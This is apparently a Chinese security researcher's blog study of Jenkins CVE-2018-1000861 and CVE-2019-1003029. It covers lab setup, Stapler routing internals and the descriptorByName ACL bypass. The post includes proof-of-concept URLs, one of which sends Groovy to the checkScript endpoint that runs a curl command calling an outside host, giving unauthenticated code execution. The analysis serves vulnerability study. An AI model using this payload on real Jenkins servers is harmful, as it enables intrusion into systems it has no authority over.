Learning Man's Blog

Jenkins CVE-2018-1000861 学习

字数统计: 1.8k阅读时长: 8 min
2019/05/09

0x01 环境搭建

Docker

> docker pull jenkins/jenkins:2.137
> docker run -p 8080:8080 -p 50000:50000 -p 8090:8090 --env JAVA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8090,server=y,suspend=n" jenkins/jenkins:2.137

老版本插件下载地址:https://updates.jenkins-ci.org/download/plugins/

  • Script Security: version 1.48

Idea

> git clone https://github.com/jenkinsci/jenkins.git
> git checkout jenkins-2.137

添加 Configuration - Remote 端口 8090 即可远程 debug

0x02 Stapler 动态路由

在 web.xml 中可以看到 jenkins 将所有请求交给 org.kohsuke.stapler.Stapler 进行处理

  <servlet>
    <servlet-name>Stapler</servlet-name>
    <servlet-class>org.kohsuke.stapler.Stapler</servlet-class>
    <init-param>
      <param-name>default-encodings</param-name>
      <param-value>text/html=UTF-8</param-value>
    </init-param>
    <init-param>
      <param-name>diagnosticThreadName</param-name>
      <param-value>false</param-value>
    </init-param>
    <async-supported>true</async-supported>
  </servlet>

  <servlet-mapping>
    <servlet-name>Stapler</servlet-name>
    <url-pattern>/*</url-pattern>
  </servlet-mapping>

首先跟入org.kohsuke.stapler.Stapler#service

public static final String PREFIX = "/$stapler/bound/";

-w896
-w821

可以看到如果根据 Path 调用不同的 webApp

  • /$stapler/bound/ 开头,root 为 webApp.boundObjectTable
  • 否则 root 为 hudson.model.Hudson 继承于 jenkins.model.Jenkins

跟入 invoke 一直到 org.kohsuke.stapler.Stapler#tryInvoke

-w1032
-w811

tryInvoke函数完成路由分派以及将路由与其相应的功能进行绑定

根据 webApp 类型进行不同的处理,优先顺序依次向下

  • StaplerProxy
  • StaplerOverridable
  • StaplerFallback

https://jenkins.io/zh/doc/developer/handling-requests/routing/

这里先根据传入的 node (webApp) 获取一个对应的 MetaClass 对象,轮询其对应的 dispatcher,如果 webApp 为 hudson.model.Hudson 继承自 jenkins.model.Jenkins,那么将会带入所有 dispatcher(size:218)

-w843

I. metaClass

既然 metaClass 在路由分派中有着重要的作用,那么看一下 metaClass 如何构建

public MetaClass getMetaClass(Object o) {
    return getMetaClass(getKlass(o));
}

public Klass<?> getKlass(Object o) {
    if (o instanceof KInstance) {
        KInstance ki = (KInstance) o;
        Klass k = ki.getKlass();
        if (k!=null)
            return k;
    }

    for (Facet f : facets) {
        Klass<?> k = f.getKlass(o);
        if (k!=null)
            return k;
    }
    return Klass.java(o.getClass());
}

首先看到 getKlass,通过匹配 facets 来简化项目配置

-w285


相关内容如下:

  1. What is ‘Facet’ in JavaEE?
  2. IntelliJ IDEA Q&A for Eclipse Users

Q: Facets — what they are for?

A: To streamline the project configuration.

Facets encapsulate the support for a variety of frameworks, technologies and languages. For example, to enable Spring in your project, you only have to add the corresponding facet. All libraries are downloaded and configured, you get the full range of coding assistance, refactorings, etc. Moreover, the code model is also recognized, so you are completely free from worrying about any configuration issues.

In most cases, you can add more than one facet of the same type to your project. For example, you can have multiple Web facets for deploying the application to different servers, or several EJB facets, each for its own EJB version. (See also Project Configuration.)


而 k 始终为 null,跳出这个循环,到关键的最后一句 return,直接返回了一个 Klass 对象,向上返回到getMetaClass函数

public static Klass<Class> java(Class c) {
    return c == null ? null : new Klass<Class>(c, KlassNavigator.JAVA);
}

// org.kohsuke.stapler.lang.KlassNavigator#JAVA

public static final KlassNavigator<Class> JAVA = new KlassNavigator<Class>() {...}

getMetaClass 中通过 Map(size:332) 映射获取到对应的 MetaClass 对象

private final Map<Klass<?>,MetaClass> classMap = new HashMap<Klass<?>,MetaClass>();

public MetaClass getMetaClass(Klass<?> c) {
    if(c==null)     return null;
    synchronized(classMap) {
        MetaClass mc = classMap.get(c);
        if(mc==null) {
            mc = new MetaClass(this,c);
            classMap.put(c,mc);
        }
        return mc;
    }
}

来看一下 MetaClass 里面都有些什么

-w611

注意到buildDispatchers这个函数是用来创建分派器,调度核心就在这里,由上至下可被调用的方法的命名规则如下:

  • <obj>.do<token>(...) and @WebMethods —— doxx(...)@WebMethod标注的方法
  • <obj>.doIndex(...)
  • <obj>.js<token> —— jsxx(...)
  • @JavaScriptMethod —— @JavaScriptMethod标注的方法
  • NODE.getTOKEN() —— getxx(...)
  • NODE.getTOKEN(StaplerRequest) —— getxx(StaplerRequest)
  • <obj>.get<Token>(String) —— getxx(String)
  • <obj>.get<Token>(int) —— getxx(int)
  • <obj>.get<Token>(long) —— getxx(long)
  • <obj>.getDynamic(<token>,...) —— getDynamic(String[, ...])
  • <obj>.doDynamic(...) —— getDynamic()

buildDispatchers主要作用在于通过metaClass.klass生成 node,并将 node 中

1.符合命名规范的方法所对应的路由名称
2.反射调用处理方法

创建为一个 dispatcher 并加入到分配器 dispatchers 中

※ 在创建 dispatcher 时,除了 doIndex 对应IndexDispatcher、getDynamic和doDynamic对应Dispatcher,其他均为NameBasedDispatcher对象

-w972

II. 路由请求解析

看一下如何解析路由

查看其代码,首先遍历 metaClass.dispatchers,每次遍历中调用 dispatch 函数,因为从上面可以看到大部分都是NameBasedDispatcher对象

-w962

可见 53 行匹配路由名称,55 行比较参数数量,直到进入 58 行调用 doDispatch 函数

-w917

而 doDispatch 函数是在 buildDispatchers 中动态生成的,步入后可知在这里是调用
public hudson.security.SecurityRealm jenkins.model.Jenkins.getSecurityRealm()

-w906

ff为节点对应方法的各种信息

-w920

在本例中,ff.invoke会返回hudson.security.HudsonPrivateSecurityRealm对象,然后作为最新的根节点进入下一次 req.getStapler().invoke 中进行解析,递归直到解析完毕所有节点,完成动态路由解析,例如第二轮检测user

-w914

0x03 白名单

org.kohsuke.stapler.Stapler#tryInvoke动态路由解析中,在未开启匿名访问可读权限(ANONYMOUS_READ=False)时,会因检查权限异常进入isSubjectToMandatoryReadPermissionCheck,如果访问路径匹配到允许的规则,则继续正常访问

-w852

-w822

在这里有三种绕过可读权限检测的 path,下面着重看第一种

0x04 利用链

Orange 选用了上面always readable paths中的以下跳板来绕过 ACL

/securityRealm/user/[username]/descriptorByName/[descriptor_name]/

-w904

动态路由解析顺序如下

jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

看一下继承关系

-w1035

跟入看下代码,一共有 502 个可利用的 descriptor

-w879

-w1115

POC i. 用户查找

URL: /securityRealm/user/admin/search/index?q=[keyword]

-w674

能利用的原因在于 User 继承于AbstractModelObject抽象类,实现了具体的 getSearch 方法

-w984

在下一轮解析中会从 classMap 中获取到 Search 对应的 metaClass 对象再去匹配分派器

-w933

POC ii. RCE

这里按照文章使用org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile使用@Grab注解时%0a会爆错,也就没法跟了,请求各位大佬帮助 <(_ _)>

-w1114

CVE-2019-1003029

由于上面 RCE 没有复现成功,这里使用GroovySandbox#run(Script, Whitelist)绕过沙箱

Poc

http://127.0.0.1:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
  public x(){
    "curl 192.168.1.8:9999".execute()
  }
}

漏洞调试

先在test/pom.xml中添加依赖,版本需同插件版本一致

<dependency>
  <groupId>org.jenkins-ci.plugins</groupId>
  <artifactId>script-security</artifactId>
  <version>1.48</version>
  <scope>test</scope>
</dependency>

-w1679


求解org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript是如何解析出SecureGroovyScript的,在跟入java.lang.invoke.MethodHandle#invokeWithArguments(java.lang.Object...)后出现了很奇怪的问题,在外部和内部跟入后,一个能正常返回,但是另一个却抛出异常??

-w958

-w1046


言归正传,先进入org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript.DescriptorImpl#doCheckScript,可以再跟入多次 parse

-w860

-w859

重头戏还是在最后的 parse,看一下 gcs 里都有些什么

-w620

跟入代码,这里parseClass(codeSource)将传入的 value 解析成目标类,暂时不用管 context

public Script parse(final GroovyCodeSource codeSource) throws CompilationFailedException {
    return InvokerHelper.createScript(parseClass(codeSource), context);
}

跟入后,如果 scriptClass 不为空且与继承GroovyObjectSupport的 Script 不是同一个类的话,进入到 else 创建实例,这里就触发了恶意代码(感觉这里可能能进入 Script 那块判定,并通过抛出异常生成实例触发,待研究)

-w931

漏洞时间轴



参考资料

  1. https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/
  2. https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/
  3. https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html
  4. https://github.com/orangetw/awesome-jenkins-rce-2019
  5. https://paper.seebug.org/836/#0x01-jenkins
  6. https://jenkins.io/zh/doc/developer/handling-requests/routing/

原文作者:Sariel.D

原文链接:https://blog.sari3l.com/posts/73ecd8cc/

发表日期:May 9th 2019, 12:15:37 am

更新日期:July 6th 2020, 5:45:16 pm

版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. 0x01 环境搭建
  2. 2. 0x02 Stapler 动态路由
    1. 2.1. I. metaClass
    2. 2.2. II. 路由请求解析
  3. 3. 0x03 白名单
  4. 4. 0x04 利用链
    1. 4.1. POC i. 用户查找
    2. 4.2. POC ii. RCE
  5. 5. CVE-2019-1003029
    1. 5.1. Poc
    2. 5.2. 漏洞调试
  6. 6. 漏洞时间轴
  7. 7. 参考资料